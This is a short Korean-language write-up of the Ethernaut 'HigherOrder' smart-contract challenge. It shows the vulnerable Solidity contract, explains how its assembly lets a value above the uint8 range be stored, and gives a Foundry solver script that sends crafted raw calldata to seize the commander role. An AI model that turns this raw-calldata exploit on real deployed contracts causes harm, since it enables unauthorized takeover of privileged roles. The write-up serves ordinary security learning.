// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
contract HigherOrder {
address public commander;
uint256 public treasury;
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}
function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
}
Stake 문제 이전에 나온 문제인데 지금 알게 되어 바로 풀이를 작성한다.
이 문제는 player
가 commander
가 되면 풀리는 문제이다. 문제 파일의 solidity 버전을 보면 옛날 버전인 것을 확인할 수 있다. 찾아보니 Dirty High Order Bits 버그가 트리거되는 버전이다. 즉, raw call로 uint8 범위 이상의 값을 인자로 넘겨 uint8 범위 이상의 값을 설정할 수 있다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
import "../src/HigherOrder.sol";
contract HigherOrderSolver is Script {
HigherOrder chall;
function setUp() public {
chall = HigherOrder(0x96eD1E6DfAECFA4968Ff06566096b77d06Cddbe7);
}
function run() public {
vm.startBroadcast(uint256(PV_KEY));
// registerTreasury(uint8) 0xfff
address(chall).call(hex"211c85ab0000000000000000000000000000000000000000000000000000000000000fff");
chall.claimLeadership();
console.log(chall.commander());
}
}
위는 solver 코드이다.